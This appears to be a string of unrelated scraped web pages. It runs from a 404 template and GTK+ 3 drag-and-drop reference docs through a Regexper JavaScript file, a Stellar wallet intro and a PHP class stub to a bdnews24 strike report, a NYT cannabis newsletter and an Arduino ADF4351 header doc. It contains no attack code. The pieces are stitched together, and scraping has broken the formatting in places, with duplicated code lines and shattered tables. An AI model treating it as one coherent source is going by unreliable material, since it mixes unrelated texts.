{% extends "base.html" %} {% block content %} 404: Page not found This page doesn't exist. Let's head back home? {% endblock content %}
This page doesn't exist. Let's head back home?


new exports(instanceConfig, userIdentity) → {object}
Get the configuration object.
The configuration object is a shared singleton object within the application, attained by calling require('smartinvoice-sdk').
Usually you'll specify a CONFIG variable at the top of your .js file for file/module scope. If you want the root of the object, you can do this:
var SmartInvoice = require('smartinvoice-sdk');
Parameters:
| Name | Type | Description |
|---|---|---|
instanceConfig |
Object | Json object with configuration for new instance |
userIdentity |
Identity | Sovrin identity object generate with createIdentity() |
Returns:
SmartInvoice - The top level SmartInvoice object
- Type
- object


import util from './util.js';
import Regexper from './regexper.js';
import Parser from './parser/javascript.js';
import _ from 'lodash';
(function() {
This file contains code to start up pages on the site, and other code that is not directly related to parsing and display of regular expressions.
Since the code in this is executed immediately, it is all but impossible to test. Therefore, this code is kept as simple as possible to reduce the need to run it through automated tests.
import util from './util.js';
import Regexper from './regexper.js';
import Parser from './parser/javascript.js';
import _ from 'lodash';
(function() {
Initialize the main page of the site. Functionality is kept in the Regexper class.
if (document.body.querySelector('#content .application')) {
let regexper = new Regexper(document.body);
regexper.detectBuggyHash();
regexper.bindListeners();
util.tick().then(() => {
window.dispatchEvent(util.customEvent('hashchange'));
});
}
Initialize other pages on the site (specifically the documentation page).
Any element with a data-expr
attribute will contain a rendering of the
provided regular expression.
_.each(document.querySelectorAll('[data-expr]'), element => {
new Parser(element, { keepContent: true })
.parse(element.getAttribute('data-expr'))
.then(parser => {
parser.render();
})
.catch(util.exposeError);
});
}());


Kbook
Search
Categories
Biography
Business
Classics
Comics
Cookbooks
Fantasy
Fiction
History
Horror
Humor
Manga
Mystery
Philosophy
Romance
Science
Join Free
Sign In
Science
A Beautiful Question
The Story of Life in 25 Fossils
Frozen to Life
Javascript Design Patterns
Eloquent Javascript
Incomplete Nature
Dying: What Happens When We Die?
The Memory of Running
TCP/IP
Moonwalking with Einstein
Parallel and Concurrent Programming in Haskell
Pearls of Functional Algorithm Design
About Kbook
Help & Contacts
Site Map
Add Favorite


Stellar Transaction Request
Step 1: Check the transaction
Step 2: Select a Signing Method
Step 3: Sign the Transaction
Warm welcome to the Stellar network!
The Stellar network is a cryptocurrency platform on which we can create accounts and perform transactions. It's a bit like a bank, except it's public and decentralized.
Because it's public, each of us can contribute to the network by various means, like programing services such as this one. We can also emit our own currencies or tokens, build secure voting systems and other things to be invented. :)
Because it's properly decentralized, it's protected from anybody that could want to disrupt or hijack the network for its own benefit. Our funds are secured by cryptographic algorithms and resilience. Resilience means that several nodes on the network have a full copy of the data, and that the various independent nodes have to agree together for the transactions to be performed.
In order to sign a Stellar transaction, you need to have an account with a minimum amount of the native currency, called lumen (XLM). At this time, the minimum amount is 1 lumen, valued between $.20 and $.50. Once in, you'll be able to close your account and get your money back at any time, if you wish to do so.
Cosmic links are normal web links that describe a Stellar transaction. When you click on them and own a Stellar account, you're given the possibility to sign and send the transaction to the network. Those transactions are for payment but also for currency conversion, change in account settings or sending short messages. Cosmic links may looks like: https://cosmic.link/?setOption&...
The Stellar network and core programs are maintained by the Stellar
Foundation. Their website
is a good place to start if you want to learn more.
We also have a
community forum.
We wish you a happy discovery :)


| GTK+ 3 Reference Manual | ||||
|---|---|---|---|---|
| Top | Description |
#include <gtk/gtk.h> enum GtkDestDefaults; enum GtkTargetFlags; void gtk_drag_dest_set (GtkWidget *widget
,GtkDestDefaults flags
,const GtkTargetEntry *targets
,gint n_targets
,GdkDragAction actions
); void gtk_drag_dest_set_proxy (GtkWidget *widget
,GdkWindow *proxy_window
,GdkDragProtocol protocol
,gboolean use_coordinates
); void gtk_drag_dest_unset (GtkWidget *widget
); GdkAtom gtk_drag_dest_find_target (GtkWidget *widget
,GdkDragContext *context
,GtkTargetList *target_list
); GtkTargetList * gtk_drag_dest_get_target_list (GtkWidget *widget
); void gtk_drag_dest_set_target_list (GtkWidget *widget
,GtkTargetList *target_list
); void gtk_drag_dest_add_text_targets (GtkWidget *widget
); void gtk_drag_dest_add_image_targets (GtkWidget *widget
); void gtk_drag_dest_add_uri_targets (GtkWidget *widget
); void gtk_drag_dest_set_track_motion (GtkWidget *widget
,gboolean track_motion
); gboolean gtk_drag_dest_get_track_motion (GtkWidget *widget
); void gtk_drag_finish (GdkDragContext *context
,gboolean success
,gboolean del
,guint32 time_
); void gtk_drag_get_data (GtkWidget *widget
,GdkDragContext *context
,GdkAtom target
,guint32 time_
); GtkWidget * gtk_drag_get_source_widget (GdkDragContext *context
); void gtk_drag_highlight (GtkWidget *widget
); void gtk_drag_unhighlight (GtkWidget *widget
); GdkDragContext * gtk_drag_begin (GtkWidget *widget
,GtkTargetList *targets
,GdkDragAction actions
,gint button
,GdkEvent *event
); void gtk_drag_set_icon_widget (GdkDragContext *context
,GtkWidget *widget
,gint hot_x
,gint hot_y
); void gtk_drag_set_icon_pixbuf (GdkDragContext *context
,GdkPixbuf *pixbuf
,gint hot_x
,gint hot_y
); void gtk_drag_set_icon_stock (GdkDragContext *context
,const gchar *stock_id
,gint hot_x
,gint hot_y
); void gtk_drag_set_icon_surface (GdkDragContext *context
,cairo_surface_t *surface
); void gtk_drag_set_icon_name (GdkDragContext *context
,const gchar *icon_name
,gint hot_x
,gint hot_y
); void gtk_drag_set_icon_gicon (GdkDragContext *context
,GIcon *icon
,gint hot_x
,gint hot_y
); void gtk_drag_set_icon_default (GdkDragContext *context
); gboolean gtk_drag_check_threshold (GtkWidget *widget
,gint start_x
,gint start_y
,gint current_x
,gint current_y
); void gtk_drag_source_set (GtkWidget *widget
,GdkModifierType start_button_mask
,const GtkTargetEntry *targets
,gint n_targets
,GdkDragAction actions
); void gtk_drag_source_set_icon_pixbuf (GtkWidget *widget
,GdkPixbuf *pixbuf
); void gtk_drag_source_set_icon_stock (GtkWidget *widget
,const gchar *stock_id
); void gtk_drag_source_set_icon_name (GtkWidget *widget
,const gchar *icon_name
); void gtk_drag_source_set_icon_gicon (GtkWidget *widget
,GIcon *icon
); void gtk_drag_source_unset (GtkWidget *widget
); void gtk_drag_source_set_target_list (GtkWidget *widget
,GtkTargetList *target_list
); GtkTargetList * gtk_drag_source_get_target_list (GtkWidget *widget
); void gtk_drag_source_add_text_targets (GtkWidget *widget
); void gtk_drag_source_add_image_targets (GtkWidget *widget
); void gtk_drag_source_add_uri_targets (GtkWidget *widget
);
GTK+ has a rich set of functions for doing inter-process communication via the drag-and-drop metaphor. GTK+ can do drag-and-drop (DND) via multiple protocols. The currently supported protocols are the Xdnd and Motif protocols.
As well as the functions listed here, applications may need to use some facilities provided for Selections. Also, the Drag and Drop API makes use of signals in the GtkWidget class.
typedef enum { GTK_DEST_DEFAULT_MOTION = 1 << 0, /* respond to "drag_motion" */ GTK_DEST_DEFAULT_HIGHLIGHT = 1 << 1, /* auto-highlight */ GTK_DEST_DEFAULT_DROP = 1 << 2, /* respond to "drag_drop" */ GTK_DEST_DEFAULT_ALL = 0x07 } GtkDestDefaults;
The GtkDestDefaults enumeration specifies the various types of action that will be taken on behalf of the user for a drag destination site.
If set for a widget, GTK+, during a drag over this
widget will check if the drag matches this widget's list of possible targets
and actions.
GTK+ will then call gdk_drag_status() as appropriate.
|
|
| If set for a widget, GTK+ will draw a highlight on this widget as long as a drag is over this widget and the widget drag format and action are acceptable. | |
If set for a widget, when a drop occurs, GTK+ will
will check if the drag matches this widget's list of possible targets and
actions. If so, GTK+ will call gtk_drag_get_data() on behalf of the widget.
Whether or not the drop is successful, GTK+ will call gtk_drag_finish() . If
the action was a move, then if the drag was successful, then TRUE will be
passed for the delete parameter to gtk_drag_finish() .
|
|
| If set, specifies that all default actions should be taken. |
typedef enum { GTK_TARGET_SAME_APP = 1 << 0, /*< nick=same-app >*/ GTK_TARGET_SAME_WIDGET = 1 << 1, /*< nick=same-widget >*/ GTK_TARGET_OTHER_APP = 1 << 2, /*< nick=other-app >*/ GTK_TARGET_OTHER_WIDGET = 1 << 3 /*< nick=other-widget >*/ } GtkTargetFlags;
The GtkTargetFlags enumeration is used to specify constraints on an entry in a GtkTargetTable.
| If this is set, the target will only be selected for drags within a single application. | |
| If this is set, the target will only be selected for drags within a single widget. | |
| If this is set, the target will not be selected for drags within a single application. | |
| If this is set, the target will not be selected for drags withing a single widget. |
void gtk_drag_dest_set (GtkWidget *widget
,GtkDestDefaults flags
,const GtkTargetEntry *targets
,gint n_targets
,GdkDragAction actions
);
Sets a widget as a potential drop destination, and adds default behaviors.
The default behaviors listed in flags
have an effect similar
to installing default handlers for the widget's drag-and-drop signals
("drag-motion", "drag-drop", ...). They all exist
for convenience. When passing GTK_DEST_DEFAULT_ALL for instance it is
sufficient to connect to the widget's "drag-data-received"
signal to get primitive, but consistent drag-and-drop support.
Things become more complicated when you try to preview the dragged data,
as described in the documentation for "drag-motion". The default
behaviors described by flags
make some assumptions, that can conflict
with your own signal handlers. For instance GTK_DEST_DEFAULT_DROP causes
invokations of gdk_drag_status()
in the context of "drag-motion",
and invokations of gtk_drag_finish()
in "drag-data-received".
Especially the later is dramatic, when your own "drag-motion"
handler calls gtk_drag_get_data()
to inspect the dragged data.
There's no way to set a default action here, you can use the "drag-motion" callback for that. Here's an example which selects the action to use depending on whether the control key is pressed or not:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
static void drag_motion (GtkWidget *widget, GdkDragContext *context, gint x, gint y, guint time) { GdkModifierType mask; gdk_window_get_pointer (gtk_widget_get_window (widget), NULL, NULL, &mask); if (mask & GDK_CONTROL_MASK) gdk_drag_status (context, GDK_ACTION_COPY, time); else gdk_drag_status (context, GDK_ACTION_MOVE, time); } |
|
a GtkWidget |
|
which types of default drag behavior to use |
|
a pointer to an array of GtkTargetEntrys
indicating the drop types that this widget will accept, or NULL .
Later you can access the list with gtk_drag_dest_get_target_list()
and gtk_drag_dest_find_target() . [allow-none][array length=n_targets]
|
|
the number of entries in targets
|
|
a bitmask of possible actions for a drop onto this widget . |
void gtk_drag_dest_set_proxy (GtkWidget *widget
,GdkWindow *proxy_window
,GdkDragProtocol protocol
,gboolean use_coordinates
);
Sets this widget as a proxy for drops to another window.
|
a GtkWidget |
|
the window to which to forward drag events |
|
the drag protocol which the proxy_window accepts
(You can use gdk_drag_get_protocol() to determine this) |
|
If TRUE , send the same coordinates to the
destination, because it is an embedded
subwindow. |
void gtk_drag_dest_unset (GtkWidget *widget
);
Clears information about a drop destination set with
gtk_drag_dest_set()
. The widget will no longer receive
notification of drags.
|
a GtkWidget |
GdkAtom gtk_drag_dest_find_target (GtkWidget *widget
,GdkDragContext *context
,GtkTargetList *target_list
);
Looks for a match between the supported targets of context
and the
dest_target_list
, returning the first matching target, otherwise
returning GDK_NONE
. dest_target_list
should usually be the return
value from gtk_drag_dest_get_target_list()
, but some widgets may
have different valid targets for different parts of the widget; in
that case, they will have to implement a drag_motion handler that
passes the correct target list to this function.
GtkTargetList * gtk_drag_dest_get_target_list (GtkWidget *widget
);
Returns the list of targets this widget can accept from drag-and-drop.
|
a GtkWidget |
Returns : |
the GtkTargetList, or NULL if none. [transfer none]
|
void gtk_drag_dest_set_target_list (GtkWidget *widget
,GtkTargetList *target_list
);
Sets the target types that this widget can accept from drag-and-drop.
The widget must first be made into a drag destination with
gtk_drag_dest_set()
.
void gtk_drag_dest_add_text_targets (GtkWidget *widget
);
Add the text targets supported by GtkSelection to
the target list of the drag destination. The targets
are added with info
= 0. If you need another value,
use gtk_target_list_add_text_targets()
and
gtk_drag_dest_set_target_list()
.
|
a GtkWidget that's a drag destination |
Since 2.6
void gtk_drag_dest_add_image_targets (GtkWidget *widget
);
Add the image targets supported by GtkSelection to
the target list of the drag destination. The targets
are added with info
= 0. If you need another value,
use gtk_target_list_add_image_targets()
and
gtk_drag_dest_set_target_list()
.
|
a GtkWidget that's a drag destination |
Since 2.6
void gtk_drag_dest_add_uri_targets (GtkWidget *widget
);
Add the URI targets supported by GtkSelection to
the target list of the drag destination. The targets
are added with info
= 0. If you need another value,
use gtk_target_list_add_uri_targets()
and
gtk_drag_dest_set_target_list()
.
|
a GtkWidget that's a drag destination |
Since 2.6
void gtk_drag_dest_set_track_motion (GtkWidget *widget
,gboolean track_motion
);
Tells the widget to emit "drag-motion" and
"drag-leave" events regardless of the targets and the
GTK_DEST_DEFAULT_MOTION
flag.
This may be used when a widget wants to do generic actions regardless of the targets that the source offers.
|
a GtkWidget that's a drag destination |
|
whether to accept all targets |
Since 2.10
gboolean gtk_drag_dest_get_track_motion (GtkWidget *widget
);
Returns whether the widget has been configured to always emit "drag-motion" signals.
|
a GtkWidget that's a drag destination |
Returns : |
TRUE if the widget always emits
"drag-motion" events |
Since 2.10
void gtk_drag_finish (GdkDragContext *context
,gboolean success
,gboolean del
,guint32 time_
);
Informs the drag source that the drop is finished, and that the data of the drag will no longer be required.
|
the drag context. |
|
a flag indicating whether the drop was successful |
|
a flag indicating whether the source should delete the
original data. (This should be TRUE for a move) |
|
the timestamp from the "drag-drop" signal. |
void gtk_drag_get_data (GtkWidget *widget
,GdkDragContext *context
,GdkAtom target
,guint32 time_
);
Gets the data associated with a drag. When the data
is received or the retrieval fails, GTK+ will emit a
"drag-data-received" signal. Failure of the retrieval
is indicated by the length field of the selection_data
signal parameter being negative. However, when gtk_drag_get_data()
is called implicitely because the GTK_DEST_DEFAULT_DROP
was set,
then the widget will not receive notification of failed
drops.
|
the widget that will receive the "drag-data-received" signal. |
|
the drag context |
|
the target (form of the data) to retrieve. |
|
a timestamp for retrieving the data. This will generally be the time received in a "drag-motion"" or "drag-drop"" signal. |
GtkWidget * gtk_drag_get_source_widget (GdkDragContext *context
);
Determines the source widget for a drag.
|
a (destination side) drag context |
Returns : |
if the drag is occurring
within a single application, a pointer to the source widget.
Otherwise, NULL . [transfer none]
|
void gtk_drag_highlight (GtkWidget *widget
);
Draws a highlight around a widget. This will attach
handlers to "draw", so the highlight
will continue to be displayed until gtk_drag_unhighlight()
is called.
|
a widget to highlight |
void gtk_drag_unhighlight (GtkWidget *widget
);
Removes a highlight set by gtk_drag_highlight()
from
a widget.
|
a widget to remove the highlight from. |
GdkDragContext * gtk_drag_begin (GtkWidget *widget
,GtkTargetList *targets
,GdkDragAction actions
,gint button
,GdkEvent *event
);
Initiates a drag on the source side. The function
only needs to be used when the application is
starting drags itself, and is not needed when
gtk_drag_source_set()
is used.
The event
is used to retrieve the timestamp that will be used internally to
grab the pointer. If event
is NULL, then GDK_CURRENT_TIME will be used.
However, you should try to pass a real event in all cases, since that can be
used by GTK+ to get information about the start position of the drag, for
example if the event
is a GDK_MOTION_NOTIFY
.
Generally there are three cases when you want to start a drag by hand by calling this function:
1. During a "button-press-event" handler, if you want to start a drag
immediately when the user presses the mouse button. Pass the event
that you have in your "button-press-event" handler.
2. During a "motion-notify-event" handler, if you want to start a drag
when the mouse moves past a certain threshold distance after a button-press.
Pass the event
that you have in your "motion-notify-event" handler.
3. During a timeout handler, if you want to start a drag after the mouse
button is held down for some time. Try to save the last event that you got
from the mouse, using gdk_event_copy()
, and pass it to this function
(remember to free the event with gdk_event_free()
when you are done).
If you can really not pass a real event, pass NULL instead.
|
the source widget. |
|
The targets (data formats) in which the source can provide the data. |
|
A bitmask of the allowed drag actions for this drag. |
|
The button the user clicked to start the drag. |
|
The event that triggered the start of the drag. |
Returns : |
the context for this drag. [transfer none] |
void gtk_drag_set_icon_widget (GdkDragContext *context
,GtkWidget *widget
,gint hot_x
,gint hot_y
);
Changes the icon for a widget to a given widget. GTK+ will not destroy the icon, so if you don't want it to persist, you should connect to the "drag-end" signal and destroy it yourself.
|
the context for a drag. (This must be called with a context for the source side of a drag) |
|
a toplevel window to use as an icon. |
|
the X offset within widget of the hotspot. |
|
the Y offset within widget of the hotspot. |
void gtk_drag_set_icon_pixbuf (GdkDragContext *context
,GdkPixbuf *pixbuf
,gint hot_x
,gint hot_y
);
Sets pixbuf
as the icon for a given drag.
|
the context for a drag. (This must be called with a context for the source side of a drag) |
|
the GdkPixbuf to use as the drag icon. |
|
the X offset within widget of the hotspot. |
|
the Y offset within widget of the hotspot. |
void gtk_drag_set_icon_stock (GdkDragContext *context
,const gchar *stock_id
,gint hot_x
,gint hot_y
);
Sets the icon for a given drag from a stock ID.
|
the context for a drag. (This must be called with a context for the source side of a drag) |
|
the ID of the stock icon to use for the drag. |
|
the X offset within the icon of the hotspot. |
|
the Y offset within the icon of the hotspot. |
void gtk_drag_set_icon_surface (GdkDragContext *context
,cairo_surface_t *surface
);
Sets surface
as the icon for a given drag. GTK+ retains
references for the arguments, and will release them when
they are no longer needed.
To position the surface relative to the mouse, use
cairo_surface_set_device_offset()
on surface
. The mouse
cursor will be positioned at the (0,0) coordinate of the
surface.
|
the context for a drag. (This must be called with a context for the source side of a drag) |
|
the surface to use as icon |
void gtk_drag_set_icon_name (GdkDragContext *context
,const gchar *icon_name
,gint hot_x
,gint hot_y
);
Sets the icon for a given drag from a named themed icon. See
the docs for GtkIconTheme for more details. Note that the
size of the icon depends on the icon theme (the icon is
loaded at the symbolic size GTK_ICON_SIZE_DND), thus
hot_x
and hot_y
have to be used with care.
|
the context for a drag. (This must be called with a context for the source side of a drag) |
|
name of icon to use |
|
the X offset of the hotspot within the icon |
|
the Y offset of the hotspot within the icon |
Since 2.8
void gtk_drag_set_icon_gicon (GdkDragContext *context
,GIcon *icon
,gint hot_x
,gint hot_y
);
Sets the icon for a given drag from the given icon
. See the
documentation for gtk_drag_set_icon_name()
for more details about
using icons in drag and drop.
|
the context for a drag. (This must be called with a context for the source side of a drag) |
|
a GIcon |
|
the X offset of the hotspot within the icon |
|
the Y offset of the hotspot within the icon |
Since 3.2
void gtk_drag_set_icon_default (GdkDragContext *context
);
Sets the icon for a particular drag to the default icon.
|
the context for a drag. (This must be called with a context for the source side of a drag) |
gboolean gtk_drag_check_threshold (GtkWidget *widget
,gint start_x
,gint start_y
,gint current_x
,gint current_y
);
Checks to see if a mouse drag starting at (start_x
, start_y
) and ending
at (current_x
, current_y
) has passed the GTK+ drag threshold, and thus
should trigger the beginning of a drag-and-drop operation.
|
a GtkWidget |
|
X coordinate of start of drag |
|
Y coordinate of start of drag |
|
current X coordinate |
|
current Y coordinate |
Returns : |
TRUE if the drag threshold has been passed. |
void gtk_drag_source_set (GtkWidget *widget
,GdkModifierType start_button_mask
,const GtkTargetEntry *targets
,gint n_targets
,GdkDragAction actions
);
Sets up a widget so that GTK+ will start a drag operation when the user clicks and drags on the widget. The widget must have a window.
|
a GtkWidget |
|
the bitmask of buttons that can start the drag |
|
the table of targets that the drag will support,
may be NULL . [allow-none][array length=n_targets]
|
|
the number of items in targets
|
|
the bitmask of possible actions for a drag from this widget |
void gtk_drag_source_set_icon_pixbuf (GtkWidget *widget
,GdkPixbuf *pixbuf
);
Sets the icon that will be used for drags from a particular widget
from a GdkPixbuf. GTK+ retains a reference for pixbuf
and will
release it when it is no longer needed.
void gtk_drag_source_set_icon_stock (GtkWidget *widget
,const gchar *stock_id
);
Sets the icon that will be used for drags from a particular source to a stock icon.
|
a GtkWidget |
|
the ID of the stock icon to use |
void gtk_drag_source_set_icon_name (GtkWidget *widget
,const gchar *icon_name
);
Sets the icon that will be used for drags from a particular source to a themed icon. See the docs for GtkIconTheme for more details.
|
a GtkWidget |
|
name of icon to use |
Since 2.8
void gtk_drag_source_set_icon_gicon (GtkWidget *widget
,GIcon *icon
);
Sets the icon that will be used for drags from a particular source
to icon
. See the docs for GtkIconTheme for more details.
|
a GtkWidget |
|
A GIcon |
Since 3.2
void gtk_drag_source_unset (GtkWidget *widget
);
Undoes the effects of gtk_drag_source_set()
.
|
a GtkWidget |
void gtk_drag_source_set_target_list (GtkWidget *widget
,GtkTargetList *target_list
);
Changes the target types that this widget offers for drag-and-drop.
The widget must first be made into a drag source with
gtk_drag_source_set()
.
|
a GtkWidget that's a drag source |
|
list of draggable targets, or NULL for none. [allow-none]
|
Since 2.4
GtkTargetList * gtk_drag_source_get_target_list (GtkWidget *widget
);
Gets the list of targets this widget can provide for drag-and-drop.
|
a GtkWidget |
Returns : |
the GtkTargetList, or NULL if none. [transfer none]
|
Since 2.4
void gtk_drag_source_add_text_targets (GtkWidget *widget
);
Add the text targets supported by GtkSelection to
the target list of the drag source. The targets
are added with info
= 0. If you need another value,
use gtk_target_list_add_text_targets()
and
gtk_drag_source_set_target_list()
.
|
a GtkWidget that's is a drag source |
Since 2.6
void gtk_drag_source_add_image_targets (GtkWidget *widget
);
Add the writable image targets supported by GtkSelection to
the target list of the drag source. The targets
are added with info
= 0. If you need another value,
use gtk_target_list_add_image_targets()
and
gtk_drag_source_set_target_list()
.
|
a GtkWidget that's is a drag source |
Since 2.6
void gtk_drag_source_add_uri_targets (GtkWidget *widget
);
Add the URI targets supported by GtkSelection to
the target list of the drag source. The targets
are added with info
= 0. If you need another value,
use gtk_target_list_add_uri_targets()
and
gtk_drag_source_set_target_list()
.
|
a GtkWidget that's is a drag source |
Since 2.6


Class AuthAbstract
public
|
#
__construct( array $credentials,
Authentication Base |
public
null|string
|
|
public
null|string
|
|
public
null|
|
|
public
array|string|false
|
|
public
mixed
|
string |
EOL
|
#
"\r\n"
|


Transporters end crippling strike as govt accepts ‘reasonable’ demands
by bdnews24.comTransport owners and workers have called off their strike after the government promised to meet their “reasonable” demands.
The government and the protesters made the announcement after a nearly four-hour meeting with Home Minister Asaduzzaman Khan at his Dhanmondi home from 9pm on Wednesday.
A network of truck, covered van and goods transport owners and workers started the strike on Wednesday over nine demands, including amendments to the Road Transport Act, which came into effect earlier this month with harsher punishment for drivers for violations of traffic rules and road crashes.
Khan earlier held a meeting with the protesters on Tuesday night but they decided to press on with their programme as the negotiations failed.
Briefing the media after the second meeting at 1am on Thursday, the minister said he assured the protesters of accepting their “reasonable” demands. He also promised to meet certain conditions, such as renewal of licences, by June 2020.
The minister said “inconsistencies” in renewal of licences will go away and proper tests will be held to ensure that the eligible drivers can renew licences to drive medium to heavy vehicles.
The authorities will allow the existing licences to be effective until the deadline, the home minister said.
Khan said he would recommend Road Transport and Bridges Minister Obaidul Quader to accept the transporters’ second demand to lower the fines, which is four times the fitness fees, for unfit vehicles.
He will also recommend the Bangladesh Road Transport Authority to meet the third demand on technical specifications of vehicle size by the deadline.
The other demands are related to amendments to nine sections of the Road Transport Act.
Law Minister Anisul Huq will look into these demands and the law, Khan said.
“We hope they will withdraw the strike as they’ve agreed to resume services on Thursday,” he said.
The council’s convenor Rustam Ali Khan then announced the withdrawal of the strike, saying the government had accepted their demands.
He said they could not apply for papers from the authorities for “complexities” like fines for not paying taxes.
“We want a waiver on fines, not tax.”
Mohammad Munir, a drivers’ leader, said they have been “forced to call the strike”.
The minister also said the protesters sought instructions on parking and other facilities like resting places, which Prime Minister Sheikh Hasina has already talked about.
“We are recommending these issues to the transport ministry.”
BUS SERVICES DISRUPTED
In the beginning of the meeting, Minister Khan noted that besides officials and the goods transporters, a representative of the public transporters, Bangladesh Transport Owners Association Secretary General Khandaker Enayet Ullah, was also present.
Bus workers abstained from work on their own for three days and blockaded roads in parts of the country disrupting transport services.
Leaders of bus owners and workers said the protesters were not paying heed to their orders as they demanded amendments to the new law.
Enayet did not talk to the media after the meeting with the home minister, but earlier he had told bdnews24.com that the bus workers’ issue would depend on it.
Shajahan Khan, former minister and president of Bangladesh Transport Workers Federation, said they would sit on Thursday to specify their demands on amendments to the new law.


What It’s Like to Be a ‘Budtender’
by Jill CowanGood morning.
(Here’s the sign-up , if you don’t already get California Today by email.)
It’s Friday, and if you’re in California, that may mean unwinding with a glass of wine, or, increasingly, a little green.
I’m talking about weed. And yes, almost exactly three years after Californians voted to legalize marijuana, it still feels slightly edgy to talk about cannabis consumption as openly as drinking in the pages of The New York Times.
Recently, that’s what I did in a piece for The Times’s Styles desk, about West Hollywood’s first weed consumption lounge, a restaurant named Lowell Farms: A Cannabis Cafe, and the state of California’s weed economy.
[Read the full story here .]
Lowell Farms is the first of what will be 16 consumption lounges in the city, which leaders say they hope will become a kind of cannabis destination — and will reap the economic benefits — while its bigger and slower moving counterparts, like Los Angeles, continue to grapple with how to fairly distribute coveted pot shop licenses.
Investors and entrepreneurs are jostling for pieces of what experts have said is a vast and growing legal cannabis market.
The chief executive of Lowell Herb Co., the fast-growing business behind the restaurant, told me that Lowell Farms is just one way of building a recognizable brand as the company seeks to scoop up loyal consumers in what is now a wide open field.
While there is no weed in Lowell Farms’s food, the menu was designed to pair nicely with cannabis.
And to help new diners figure out what goes with what, the restaurant has roving “flower hosts,” or weed sommeliers of sorts.
The idea of applying a sommelier’s nuanced palate to cannabis isn’t new. But interest is growing along with legal marijuana markets.
While reporting on Lowell Farms, I talked with Bianca Blanche, one of the restaurant’s first flower hosts and a writer for the brand’s website, about how she approaches the job.
Ms. Blanche said she moved to California from New York, where she’d worked in a bridal store, about four years ago.
“What sparked that change was I had developed my own relationship with cannabis,” she told me. “Nothing sounded better than moving out to Los Angeles and selling weed.”
She got a job at a medical dispensary, where Ms. Blanche said she got a hands-on education in how different products and strains worked.
[Read more about what California can expect five years after legalization .]
She also learned that “budtenders” like her typically earn between $10 and $15 an hour and aren’t often tipped, despite the fact that the job entails a broad range of customer interactions.
Like bartenders, budtenders are on their feet for long periods of time and connect with customers on a more personal level than many other retail workers. But they also often end up playing the role of a therapist or nurse.
“You have to be able to recommend a product to potentially solve whatever health issue they’re experiencing,” Ms. Blanche said. “I know things about my patients that I don’t think even their closest friends or families do.”
When she started preparing to work as a flower host at Lowell Farms, she said, she studied up on terpenes, the organic compounds that produce the distinct aromas of various marijuana strains.
[Read more about efforts to automatically clear marijuana convictions .]
Some have piney or lemony terpenes, which she said can be paired similarly to a white wine, with fish or chicken.
Others are a little more “earthy and herby,” she said, like rosemary or cloves. Those compliment richer dishes, like steaks.
Mostly, she said it’s important to understand your individual experience level and tolerance.
“Honest and open dialogue is definitely No. 1,” Ms. Blanche said.
Here’s what else we’re following
We often link to sites that limit access for nonsubscribers. We appreciate your reading Times coverage, but we also encourage you to support local news if you can.
- One year ago, the Camp fire, the state’s deadliest blaze, ripped through Paradise. Here’s how many are still recovering. [The Chico Enterprise-Record | The San Francisco Chronicle ]
Also, here’s what to know about Pacific Gas & Electric’s role in causing the blaze. [ The New York Times ]
- This week, investigators confirmed that PG&E’s equipment sparked two fires in Lafayette late last month. [The East Bay Times]
- If you missed it, a federal judge in Los Angeles ruled that the government must provide mental health services to migrant parents and children who were psychologically harmed as a result of the Trump administration’s family separation policy. “This is truly groundbreaking,” one expert said. [The New York Times]
- Here’s a podcast looking back at the fight, 25 years ago, over Proposition 187, an anti-immigrant law that was widely protested and eventually killed. The battle changed California forever. [The Los Angeles Times]
Also, here’s a digital exhibition from the California State Archives tracing the initiative’s rise and fall.
- Transcripts show that, so far, Representative Devin Nunes, a close ally of President Trump, has been mostly quiet at closed impeachment hearings. [The Fresno Bee]
- The board of Google’s parent company, Alphabet, is investigating allegations of sexual misconduct as it prepares a legal defense against shareholder lawsuits over its handling of the matters. [The New York Times]
Revivals and departures
- Bella Lewitzky was a fervently Californian choreographer. Her 1970 piece, “Kinaesonata,” which hasn’t been seen for more than 20 years, has been revived for L.A. Dances, a festival at L.A. Dance Project. [The New York Times]
- An art heist! Solved seven years later! (Sort of.) In any case, much of the art in question, more than 1,000 prints by the British artist and mystic Benjamin Creme, has been returned to its owner in Los Angeles. [The New York Times]
- On Thursday, Gene Baxter — a man you may have known as “Bean” if you woke up to KROQ-FM at almost any point in the last three decades — signed off for the last time. His co-host on “The Kevin and Bean Show,” Kevin Ryder, will continue on. [The Los Angeles Times]
- There is a plan to have a computer-generated likeness of James Dean star in a new movie. The criticism from Hollywood and beyond came swiftly. [The New York Times]
And Finally …
If legal substances are not your style, please consider kicking off your weekend with two very important animal tales from the week.
The first comes to us from Ventura County, where firefighters rescued a great horned owl, who was “hopping around in the ashes” of a eucalyptus grove during the Maria fire. The owl, later named “Ram,” after the football team, was taken to the nonprofit Camarillo Wildlife Rehabilitation, which the group said saved its life, according to The Ventura County Star.
The second is a story about Sweets, a miniature horse who was spotted riding BART through the Transbay Tube on Tuesday. Her fellow BART riders were left murmuring, “Who is she?” Their only recourse: A hashtag, #BARTpony.
KQED investigated, and as it turns out, Sweets was just hard at work like the rest of us. She lives in the Solano County hills and is training to be a service animal.
California Today goes live at 6:30 a.m. Pacific time weekdays. Tell us what you want to see<EMAIL_ADDRESS>. Were you forwarded this email? Sign up for California Today here.
Jill Cowan grew up in Orange County, graduated from U.C. Berkeley and has reported all over the state, including the Bay Area, Bakersfield and Los Angeles — but she always wants to see more. Follow along here or on Twitter, @jillcowan .
California Today is edited by Julie Bloom, who grew up in Los Angeles and graduated from U.C. Berkeley.


#include <Arduino.h>
#include <Wire.h>
#include <SPI.h>
#include <stdint.h>
#include <BigNumber.h>
Go to the source code of this file.
| #define ADF_FREQ_MAX<PHONE_NUMBER>UL |
Maximum Generated Frequency = value of MAX Unsigned Long.
Definition at line 22 of file adf4351.h.
| #define ADF_FREQ_MIN 34385000UL |
Minimum Generated Frequency.
Definition at line 23 of file adf4351.h.
| #define ADF_PFD_MAX 32000000.0 |
Maximum Frequency for Phase Detector.
Definition at line 24 of file adf4351.h.
| #define ADF_PFD_MIN 125000.0 |
Minimum Frequency for Phase Detector.
Definition at line 25 of file adf4351.h.
| #define ADF_REFIN_MAX 250000000UL |
Maximum Reference Frequency.
Definition at line 26 of file adf4351.h.
Number of Freq Step Values defined.
Definition at line 19 of file adf4351.h.
Ard Pin for Chip Enable.
Definition at line 30 of file adf4351.h.
Ard Pin for Lock Detect.
Definition at line 31 of file adf4351.h.
Ard Pin for SPI MISO.
Definition at line 34 of file adf4351.h.
Ard Pin for SPI MOSI.
Definition at line 33 of file adf4351.h.
